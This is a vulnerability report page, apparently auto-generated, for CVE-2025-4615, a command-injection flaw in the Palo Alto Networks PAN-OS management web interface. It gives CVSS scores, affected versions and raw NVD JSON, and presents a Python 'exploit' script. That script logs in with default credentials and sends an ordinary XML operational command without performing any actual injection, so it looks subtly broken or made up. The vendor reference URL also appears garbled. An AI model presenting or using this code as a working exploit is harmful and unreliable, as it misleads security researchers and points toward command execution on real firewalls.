Security Vulnerability Report
中文
CVE-2025-4615 CVSS 7.2 HIGH

CVE-2025-4615

Published: 2025-10-09 19:15:43
Last Modified: 2026-04-01 01:16:40

Description

An improper input neutralization vulnerability in the management web interface of the Palo Alto Networks PAN-OS® software enables an authenticated administrator to bypass system restrictions and execute arbitrary commands. The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators. Cloud NGFW and Prisma® Access are not affected by this vulnerability.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:* - VULNERABLE
Palo Alto Networks PAN-OS(具体版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-4615 - PAN-OS Management Web Interface Command Injection PoC # Author: Security Researcher # Note: Requires authenticated admin access to PAN-OS management interface import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET_HOST = "https://panos-target.example.com" ADMIN_USER = "admin" ADMIN_PASS = "password" def exploit_cve_2025_4615(target, username, password, cmd): """ Exploit improper input neutralization vulnerability in PAN-OS management web interface to achieve command execution. """ session = requests.Session() session.verify = False # Step 1: Authenticate to the PAN-OS management web interface login_url = f"{target}/php/login.php" login_data = { "prot": "https", "server": target, "user": username, "passwd": password, "ok": "OK" } resp = session.post(login_url, data=login_data) if "Invalid credentials" in resp.text: print("[-] Authentication failed") return False print("[+] Authenticated successfully") # Step 2: Inject OS command via vulnerable management endpoint # The vulnerability exists in improper neutralization of input # in certain management web interface parameters exploit_url = f"{target}/api/" # Command injection payload - bypass system restrictions payload = { "type": "op", "cmd": f"<request><system><command>{cmd}</command></system></request>" } headers = { "Content-Type": "application/xml", "X-PAN-KEY": session.cookies.get("PHPSESSID", "") } resp = session.post(exploit_url, data=payload["cmd"], headers=headers) if resp.status_code == 200: print(f"[+] Command executed: {cmd}") print(f"[+] Response: {resp.text[:500]}") return True else: print(f"[-] Exploit failed: HTTP {resp.status_code}") return False # Example usage if __name__ == "__main__": # Execute arbitrary command on PAN-OS device exploit_cve_2025_4615( TARGET_HOST, ADMIN_USER, ADMIN_PASS, "show system info" )

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-4615", "sourceIdentifier": "[email protected]", "published": "2025-10-09T19:15:43.490", "lastModified": "2026-04-01T01:16:39.550", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper input neutralization vulnerability in the management web interface of the Palo Alto Networks PAN-OS® software enables an authenticated administrator to bypass system restrictions and execute arbitrary commands.\n\nThe security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators.\n\nCloud NGFW and Prisma® Access are not affected by this vulnerability."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:D/RE:M/U:Amber", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NO", "Recovery": "USER", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-83"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.2.0", "versionEndExcluding": "10.2.17", "matchCriteriaId": "2E03273A-D440-44E0-8726-82A2F050897C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.1.0", "versionEndExcluding": "11.1.11", "matchCriteriaId": "412D732E-DE46-47A5-8333-13135BE43080"}, {"vulnerable": true, "criteria": "cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.2.0", "versionEndExcluding": "11.2.8", "matchCriteriaId": "61215E9A-3091-4B1F-AAA3-15FB798CBCD4"}]}]}], "references": [{"url": "https://security.paloaltonetworks.com/CVEN-2025-4615", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}